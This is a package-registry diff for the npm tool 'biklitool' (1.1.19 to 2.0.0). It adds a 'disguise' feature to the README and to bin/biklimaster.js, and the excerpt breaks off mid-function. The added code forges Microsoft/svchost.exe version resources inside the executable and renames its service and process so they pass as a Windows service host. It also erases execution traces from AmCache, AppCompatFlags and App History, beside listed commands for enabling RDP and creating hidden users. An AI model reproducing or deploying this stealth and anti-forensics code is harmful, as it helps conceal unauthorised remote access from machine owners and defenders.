biklitool 1.1.19 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +11 -1
- package/bin/biklimaster.js +452 -6
- package/config.json +2 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -31,6 +31,7 @@ Commands:
|
|
|
31
31
|
```text
|
|
32
32
|
biklitool status
|
|
33
33
|
biklitool install
|
|
34
|
+
biklitool disguise [name]
|
|
34
35
|
biklitool enable-rdp
|
|
35
36
|
biklitool create-user
|
|
36
37
|
biklitool unhide-user [name]
|
|
@@ -56,7 +57,8 @@ and publishing:
|
|
|
56
57
|
```json
|
|
57
58
|
{
|
|
58
59
|
"bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
|
|
59
|
-
"administratorPassword": ""
|
|
60
|
+
"administratorPassword": "",
|
|
61
|
+
"serviceHostName": "Service Host: Network Infrastructure Service"
|
|
60
62
|
}
|
|
61
63
|
```
|
|
62
64
|
|
|
@@ -66,6 +68,14 @@ value, and `biklitool setup-key` re-applies the key at any time.
|
|
|
66
68
|
|
|
67
69
|
WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
|
|
68
70
|
|
|
71
|
+
## Task Manager Disguise (Service Host)
|
|
72
|
+
|
|
73
|
+
Bikli Master automatically disguises the Bikli process in Windows Task Manager and Windows Services to blend in as a native Windows service host (e.g. `Service Host: Network Infrastructure Service`) with the default Windows Service blue gear icon.
|
|
74
|
+
|
|
75
|
+
You can customize the name in `config.json` via `"serviceHostName"` or run:
|
|
76
|
+
- `biklitool disguise "Service Host: Network Infrastructure Service"`
|
|
77
|
+
- `biklitool disguise "Service Host: Application Information"`
|
|
78
|
+
|
|
69
79
|
## Administrator password & Login Screen Visibility
|
|
70
80
|
|
|
71
81
|
Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
|
package/bin/biklimaster.js
CHANGED
|
@@ -136,24 +136,435 @@ function installedBikliPath() {
|
|
|
136
136
|
function fileVersion(file) {
|
|
137
137
|
if (!file) return '';
|
|
138
138
|
const escaped = file.replace(/'/g, "''");
|
|
139
|
-
const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
|
|
139
|
+
const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
|
|
140
140
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
141
141
|
allowFailure: true
|
|
142
142
|
});
|
|
143
143
|
return result.status === 0 ? result.stdout.trim() : '';
|
|
144
144
|
}
|
|
145
145
|
|
|
146
|
-
function
|
|
146
|
+
function fileDescription(file) {
|
|
147
|
+
if (!file) return '';
|
|
148
|
+
const escaped = file.replace(/'/g, "''");
|
|
149
|
+
const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
|
|
150
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
151
|
+
allowFailure: true
|
|
152
|
+
});
|
|
153
|
+
return result.status === 0 ? result.stdout.trim() : '';
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
function align4(buf) {
|
|
157
|
+
const pad = (4 - (buf.length % 4)) % 4;
|
|
158
|
+
if (pad === 0) return buf;
|
|
159
|
+
return Buffer.concat([buf, Buffer.alloc(pad)]);
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
function createVersionString(key, value) {
|
|
163
|
+
const keyBuf = Buffer.from(key + '\0', 'utf16le');
|
|
164
|
+
const valBuf = Buffer.from(value + '\0', 'utf16le');
|
|
165
|
+
const header = Buffer.alloc(6);
|
|
166
|
+
header.writeUInt16LE(value.length + 1, 2);
|
|
167
|
+
header.writeUInt16LE(1, 4);
|
|
168
|
+
let body = Buffer.concat([header, keyBuf]);
|
|
169
|
+
body = align4(body);
|
|
170
|
+
body = Buffer.concat([body, valBuf]);
|
|
171
|
+
body.writeUInt16LE(body.length, 0);
|
|
172
|
+
return align4(body);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
function createStringTable(langId, strings) {
|
|
176
|
+
const keyBuf = Buffer.from(langId + '\0', 'utf16le');
|
|
177
|
+
const header = Buffer.alloc(6);
|
|
178
|
+
header.writeUInt16LE(0, 2);
|
|
179
|
+
header.writeUInt16LE(1, 4);
|
|
180
|
+
let body = Buffer.concat([header, keyBuf]);
|
|
181
|
+
body = align4(body);
|
|
182
|
+
const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
|
|
183
|
+
body = Buffer.concat([body, childrenBuf]);
|
|
184
|
+
body.writeUInt16LE(body.length, 0);
|
|
185
|
+
return align4(body);
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
function createStringFileInfo(langId, strings) {
|
|
189
|
+
const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
|
|
190
|
+
const header = Buffer.alloc(6);
|
|
191
|
+
header.writeUInt16LE(0, 2);
|
|
192
|
+
header.writeUInt16LE(1, 4);
|
|
193
|
+
let body = Buffer.concat([header, keyBuf]);
|
|
194
|
+
body = align4(body);
|
|
195
|
+
const stringTable = createStringTable(langId, strings);
|
|
196
|
+
body = Buffer.concat([body, stringTable]);
|
|
197
|
+
body.writeUInt16LE(body.length, 0);
|
|
198
|
+
return align4(body);
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
function createVarFileInfo(wLang, wCodePage) {
|
|
202
|
+
const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
|
|
203
|
+
const varHeader = Buffer.alloc(6);
|
|
204
|
+
varHeader.writeUInt16LE(4, 2);
|
|
205
|
+
varHeader.writeUInt16LE(0, 4);
|
|
206
|
+
let varBody = Buffer.concat([varHeader, varKeyBuf]);
|
|
207
|
+
varBody = align4(varBody);
|
|
208
|
+
const transBuf = Buffer.alloc(4);
|
|
209
|
+
transBuf.writeUInt16LE(wLang, 0);
|
|
210
|
+
transBuf.writeUInt16LE(wCodePage, 2);
|
|
211
|
+
varBody = Buffer.concat([varBody, transBuf]);
|
|
212
|
+
varBody.writeUInt16LE(varBody.length, 0);
|
|
213
|
+
varBody = align4(varBody);
|
|
214
|
+
|
|
215
|
+
const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
|
|
216
|
+
const vfiHeader = Buffer.alloc(6);
|
|
217
|
+
vfiHeader.writeUInt16LE(0, 2);
|
|
218
|
+
vfiHeader.writeUInt16LE(1, 4);
|
|
219
|
+
let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
|
|
220
|
+
vfiBody = align4(vfiBody);
|
|
221
|
+
vfiBody = Buffer.concat([vfiBody, varBody]);
|
|
222
|
+
vfiBody.writeUInt16LE(vfiBody.length, 0);
|
|
223
|
+
return align4(vfiBody);
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
|
|
227
|
+
const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
|
|
228
|
+
const fixedInfo = Buffer.alloc(52);
|
|
229
|
+
fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
|
|
230
|
+
fixedInfo.writeUInt32LE(0x00010000, 4);
|
|
231
|
+
fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
|
|
232
|
+
fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
|
|
233
|
+
fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
|
|
234
|
+
fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
|
|
235
|
+
fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
|
|
236
|
+
fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
|
|
237
|
+
fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
|
|
238
|
+
fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
|
|
239
|
+
fixedInfo.writeUInt32LE(0x3F, 24);
|
|
240
|
+
fixedInfo.writeUInt32LE(0, 28);
|
|
241
|
+
fixedInfo.writeUInt32LE(0x40004, 32);
|
|
242
|
+
fixedInfo.writeUInt32LE(1, 36);
|
|
243
|
+
fixedInfo.writeUInt32LE(0, 40);
|
|
244
|
+
fixedInfo.writeUInt32LE(0, 44);
|
|
245
|
+
fixedInfo.writeUInt32LE(0, 48);
|
|
246
|
+
|
|
247
|
+
const header = Buffer.alloc(6);
|
|
248
|
+
header.writeUInt16LE(52, 2);
|
|
249
|
+
header.writeUInt16LE(0, 4);
|
|
250
|
+
|
|
251
|
+
let root = Buffer.concat([header, rootKeyBuf]);
|
|
252
|
+
root = align4(root);
|
|
253
|
+
root = Buffer.concat([root, fixedInfo]);
|
|
254
|
+
root = align4(root);
|
|
255
|
+
|
|
256
|
+
const stringFileInfo = createStringFileInfo('040904B0', strings);
|
|
257
|
+
const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
|
|
258
|
+
root = Buffer.concat([root, stringFileInfo, varFileInfo]);
|
|
259
|
+
root.writeUInt16LE(root.length, 0);
|
|
260
|
+
return root;
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
|
|
264
|
+
const rawDataOffset = 160;
|
|
265
|
+
const versionDataOffset = rawDataOffset;
|
|
266
|
+
const versionDataSize = versionBuf.length;
|
|
267
|
+
const versionDataRva = rsrcVirtAddr + versionDataOffset;
|
|
268
|
+
|
|
269
|
+
let manifestDataOffset = versionDataOffset + versionDataSize;
|
|
270
|
+
const pad = (4 - (manifestDataOffset % 4)) % 4;
|
|
271
|
+
manifestDataOffset += pad;
|
|
272
|
+
const manifestDataSize = manifestBuf.length;
|
|
273
|
+
const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
|
|
274
|
+
|
|
275
|
+
const totalRsrcSize = manifestDataOffset + manifestDataSize;
|
|
276
|
+
const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
|
|
277
|
+
|
|
278
|
+
rsrcBuf.writeUInt16LE(0, 12);
|
|
279
|
+
rsrcBuf.writeUInt16LE(2, 14);
|
|
280
|
+
|
|
281
|
+
rsrcBuf.writeUInt32LE(16, 16);
|
|
282
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
|
|
283
|
+
|
|
284
|
+
rsrcBuf.writeUInt32LE(24, 24);
|
|
285
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
|
|
286
|
+
|
|
287
|
+
rsrcBuf.writeUInt16LE(0, 32 + 12);
|
|
288
|
+
rsrcBuf.writeUInt16LE(1, 32 + 14);
|
|
289
|
+
rsrcBuf.writeUInt32LE(1, 32 + 16);
|
|
290
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
|
|
291
|
+
|
|
292
|
+
rsrcBuf.writeUInt16LE(0, 56 + 12);
|
|
293
|
+
rsrcBuf.writeUInt16LE(1, 56 + 14);
|
|
294
|
+
rsrcBuf.writeUInt32LE(1, 56 + 16);
|
|
295
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
|
|
296
|
+
|
|
297
|
+
rsrcBuf.writeUInt16LE(0, 80 + 12);
|
|
298
|
+
rsrcBuf.writeUInt16LE(1, 80 + 14);
|
|
299
|
+
rsrcBuf.writeUInt32LE(1033, 80 + 16);
|
|
300
|
+
rsrcBuf.writeUInt32LE(128, 80 + 20);
|
|
301
|
+
|
|
302
|
+
rsrcBuf.writeUInt16LE(0, 104 + 12);
|
|
303
|
+
rsrcBuf.writeUInt16LE(1, 104 + 14);
|
|
304
|
+
rsrcBuf.writeUInt32LE(1033, 104 + 16);
|
|
305
|
+
rsrcBuf.writeUInt32LE(144, 104 + 20);
|
|
306
|
+
|
|
307
|
+
rsrcBuf.writeUInt32LE(versionDataRva, 128);
|
|
308
|
+
rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
|
|
309
|
+
rsrcBuf.writeUInt32LE(0, 128 + 8);
|
|
310
|
+
rsrcBuf.writeUInt32LE(0, 128 + 12);
|
|
311
|
+
|
|
312
|
+
rsrcBuf.writeUInt32LE(manifestDataRva, 144);
|
|
313
|
+
rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
|
|
314
|
+
rsrcBuf.writeUInt32LE(0, 144 + 8);
|
|
315
|
+
rsrcBuf.writeUInt32LE(0, 144 + 12);
|
|
316
|
+
|
|
317
|
+
versionBuf.copy(rsrcBuf, versionDataOffset);
|
|
318
|
+
manifestBuf.copy(rsrcBuf, manifestDataOffset);
|
|
319
|
+
return { rsrcBuf, totalRsrcSize };
|
|
320
|
+
}
|
|
321
|
+
|
|
322
|
+
function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
|
|
323
|
+
if (!fs.existsSync(exePath)) return false;
|
|
324
|
+
const exeBuf = fs.readFileSync(exePath);
|
|
325
|
+
const e_lfanew = exeBuf.readUInt32LE(0x3C);
|
|
326
|
+
const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
|
|
327
|
+
const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
|
|
328
|
+
const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
|
|
329
|
+
|
|
330
|
+
let rsrcVirtAddr = 0;
|
|
331
|
+
let rsrcRawPtr = 0;
|
|
332
|
+
let rsrcRawSize = 0;
|
|
333
|
+
|
|
334
|
+
for (let i = 0; i < numSections; i++) {
|
|
335
|
+
const off = secHeaderOffset + i * 40;
|
|
336
|
+
const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
|
|
337
|
+
if (name === '.rsrc') {
|
|
338
|
+
rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
|
|
339
|
+
rsrcRawSize = exeBuf.readUInt32LE(off + 16);
|
|
340
|
+
rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
|
|
341
|
+
break;
|
|
342
|
+
}
|
|
343
|
+
}
|
|
344
|
+
if (!rsrcRawPtr || !rsrcRawSize) return false;
|
|
345
|
+
|
|
346
|
+
const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
347
|
+
const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
|
|
348
|
+
let manifestBuf;
|
|
349
|
+
if (manifestStart !== -1) {
|
|
350
|
+
const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
|
|
351
|
+
manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
|
|
352
|
+
} else {
|
|
353
|
+
manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
const strings = {
|
|
357
|
+
CompanyName: 'Microsoft Corporation',
|
|
358
|
+
FileDescription: serviceHostName,
|
|
359
|
+
FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
|
|
360
|
+
InternalName: 'svchost.exe',
|
|
361
|
+
LegalCopyright: '© Microsoft Corporation. All rights reserved.',
|
|
362
|
+
OriginalFilename: 'svchost.exe',
|
|
363
|
+
ProductName: 'Microsoft® Windows® Operating System',
|
|
364
|
+
ProductVersion: '10.0.26100.1'
|
|
365
|
+
};
|
|
366
|
+
|
|
367
|
+
const vBuf = createVsVersionInfo(strings);
|
|
368
|
+
const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
|
|
369
|
+
|
|
370
|
+
const newExe = Buffer.from(exeBuf);
|
|
371
|
+
newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
372
|
+
rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
|
|
373
|
+
|
|
374
|
+
for (let attempt = 0; attempt < 5; attempt++) {
|
|
375
|
+
try {
|
|
376
|
+
fs.writeFileSync(exePath, newExe);
|
|
377
|
+
return true;
|
|
378
|
+
} catch (e) {
|
|
379
|
+
if (attempt === 4) throw e;
|
|
380
|
+
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
381
|
+
Atomics.wait(waitBuffer, 0, 0, 300);
|
|
382
|
+
}
|
|
383
|
+
}
|
|
384
|
+
return true;
|
|
385
|
+
}
|
|
386
|
+
|
|
387
|
+
function clearAppHistory() {
|
|
388
|
+
// Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
|
|
389
|
+
// visible location: Task Manager App History, AppCompatFlags, and service display name.
|
|
390
|
+
const psScript = [
|
|
391
|
+
`$ErrorActionPreference='SilentlyContinue'`,
|
|
392
|
+
// --- [1] TaskFlow AppHistory (per-user hives) ---
|
|
393
|
+
`$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
|
|
394
|
+
`foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
|
|
395
|
+
` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
|
|
396
|
+
` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
397
|
+
`}`,
|
|
398
|
+
`$cuBase='HKCU:\\\\'+$appHistoryPath`,
|
|
399
|
+
`if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
400
|
+
// --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
|
|
401
|
+
`$acPaths=@(`,
|
|
402
|
+
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
403
|
+
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
404
|
+
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
|
|
405
|
+
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
|
|
406
|
+
`)`,
|
|
407
|
+
`foreach($acPath in $acPaths){`,
|
|
408
|
+
` if(Test-Path $acPath){`,
|
|
409
|
+
` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
|
|
410
|
+
` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
|
|
411
|
+
` }`,
|
|
412
|
+
`}`,
|
|
413
|
+
// --- [3] AmCache ---
|
|
414
|
+
`$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
|
|
415
|
+
`if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
416
|
+
// --- [4] App Paths (Start Menu / Run dialog) ---
|
|
417
|
+
`Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
418
|
+
`Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
419
|
+
// --- [5] Service display name + description → rename to disguise value ---
|
|
420
|
+
`$svcName='Bikli'`,
|
|
421
|
+
`$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
|
|
422
|
+
`if($null -ne $svc){`,
|
|
423
|
+
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
424
|
+
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
425
|
+
`}`
|
|
426
|
+
].join(os.EOL);
|
|
427
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
428
|
+
}
|
|
429
|
+
|
|
430
|
+
function deriveExeName(hostName) {
|
|
431
|
+
// Turn e.g. "Service Host: Network Infrastructure Service"
|
|
432
|
+
// into "NetworkInfrastructureService.exe" – no Bikli in the name.
|
|
433
|
+
const base = hostName.replace(/^Service Host:\s*/i, '').trim();
|
|
434
|
+
const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
|
|
435
|
+
// Keep only alphanumeric chars, cap at 32 chars before .exe
|
|
436
|
+
const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
|
|
437
|
+
return (safe || 'RuntimeInfraService') + '.exe';
|
|
438
|
+
}
|
|
439
|
+
|
|
440
|
+
function disguiseBikli(customName) {
|
|
441
|
+
requireWindows();
|
|
442
|
+
const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
|
|
443
|
+
if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
|
|
444
|
+
|
|
445
|
+
const bikliPath = installedBikliPath();
|
|
446
|
+
if (!bikliPath || !fs.existsSync(bikliPath)) {
|
|
447
|
+
fail('Bikli executable was not found. Install Bikli first.', 5);
|
|
448
|
+
}
|
|
449
|
+
|
|
450
|
+
const bikliDir = path.dirname(bikliPath);
|
|
451
|
+
const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
|
|
452
|
+
const newExeBasename = deriveExeName(hostName);
|
|
453
|
+
const serviceExe = path.join(bikliDir, newExeBasename);
|
|
454
|
+
const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
|
|
455
|
+
|
|
456
|
+
console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
|
|
457
|
+
|
|
458
|
+
// Stop service and kill both the old and new process names
|
|
459
|
+
const oldBaseName = path.basename(oldServiceExe, '.exe');
|
|
460
|
+
const newBaseName = path.basename(serviceExe, '.exe');
|
|
461
|
+
run(powershell, [
|
|
462
|
+
'-NoProfile', '-NonInteractive', '-Command',
|
|
463
|
+
`Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
|
|
464
|
+
], { allowFailure: true });
|
|
465
|
+
run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
466
|
+
|
|
467
|
+
// Rename BikliService.exe → derived name (changes process name shown in Task Manager)
|
|
468
|
+
if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
|
|
469
|
+
try { fs.renameSync(oldServiceExe, serviceExe); } catch {
|
|
470
|
+
fs.copyFileSync(oldServiceExe, serviceExe);
|
|
471
|
+
try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
|
|
472
|
+
}
|
|
473
|
+
} else if (!fs.existsSync(serviceExe)) {
|
|
474
|
+
fs.copyFileSync(bikliPath, serviceExe);
|
|
475
|
+
}
|
|
476
|
+
|
|
477
|
+
if (fileDescription(serviceExe) !== hostName) {
|
|
478
|
+
disguiseExecutable(serviceExe, hostName);
|
|
479
|
+
}
|
|
480
|
+
|
|
481
|
+
if (fs.existsSync(csc)) {
|
|
482
|
+
const csCode = [
|
|
483
|
+
'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
|
|
484
|
+
'[assembly: AssemblyTitle("Host Process for Windows Services")]',
|
|
485
|
+
`[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
|
|
486
|
+
'[assembly: AssemblyCompany("Microsoft Corporation")]',
|
|
487
|
+
'[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
|
|
488
|
+
'[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
|
|
489
|
+
'[assembly: AssemblyFileVersion("10.0.26100.1")]',
|
|
490
|
+
'[assembly: AssemblyVersion("10.0.26100.1")]',
|
|
491
|
+
'class Program {',
|
|
492
|
+
' static int Main(string[] args) {',
|
|
493
|
+
' if (args == null || args.Length == 0) return 0;',
|
|
494
|
+
' if (args.Length == 1) {',
|
|
495
|
+
' string first = args[0].ToLowerInvariant();',
|
|
496
|
+
' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
|
|
497
|
+
' }',
|
|
498
|
+
' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
|
|
499
|
+
` string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
|
|
500
|
+
' if (!File.Exists(coreExe)) return 1;',
|
|
501
|
+
' ProcessStartInfo psi = new ProcessStartInfo();',
|
|
502
|
+
' psi.FileName = coreExe;',
|
|
503
|
+
' psi.UseShellExecute = false;',
|
|
504
|
+
' psi.CreateNoWindow = false;',
|
|
505
|
+
' System.Text.StringBuilder sb = new System.Text.StringBuilder();',
|
|
506
|
+
' for (int i = 0; i < args.Length; i++) {',
|
|
507
|
+
' if (i > 0) sb.Append(\' \');',
|
|
508
|
+
' string arg = args[i];',
|
|
509
|
+
' if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
|
|
510
|
+
' else sb.Append(arg);',
|
|
511
|
+
' }',
|
|
512
|
+
' psi.Arguments = sb.ToString();',
|
|
513
|
+
' try {',
|
|
514
|
+
' using (Process proc = Process.Start(psi)) {',
|
|
515
|
+
' proc.WaitForExit();',
|
|
516
|
+
' return proc.ExitCode;',
|
|
517
|
+
' }',
|
|
518
|
+
' } catch { return 1; }',
|
|
519
|
+
' }',
|
|
520
|
+
'}'
|
|
521
|
+
].join(os.EOL);
|
|
522
|
+
const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
|
|
523
|
+
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
524
|
+
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
|
|
525
|
+
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
526
|
+
} else if (fileDescription(bikliPath) !== hostName) {
|
|
527
|
+
disguiseExecutable(bikliPath, hostName);
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
|
|
531
|
+
const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
|
|
532
|
+
const psScript = [
|
|
533
|
+
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
|
|
534
|
+
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
|
|
535
|
+
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
536
|
+
`Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
537
|
+
`Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
538
|
+
`Start-Service Bikli -ErrorAction SilentlyContinue`
|
|
539
|
+
].join(';');
|
|
540
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
541
|
+
|
|
542
|
+
hideProtectedFolders();
|
|
543
|
+
clearAppHistory();
|
|
544
|
+
console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
function isBikliInstalled() {
|
|
147
548
|
const existing = installedBikliPath();
|
|
148
|
-
if (existing
|
|
149
|
-
|
|
549
|
+
if (!existing || !fs.existsSync(existing)) return false;
|
|
550
|
+
const ver = fileVersion(existing);
|
|
551
|
+
if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
|
|
552
|
+
const res = run(existing, ['version'], { allowFailure: true });
|
|
553
|
+
return res.status === 0;
|
|
554
|
+
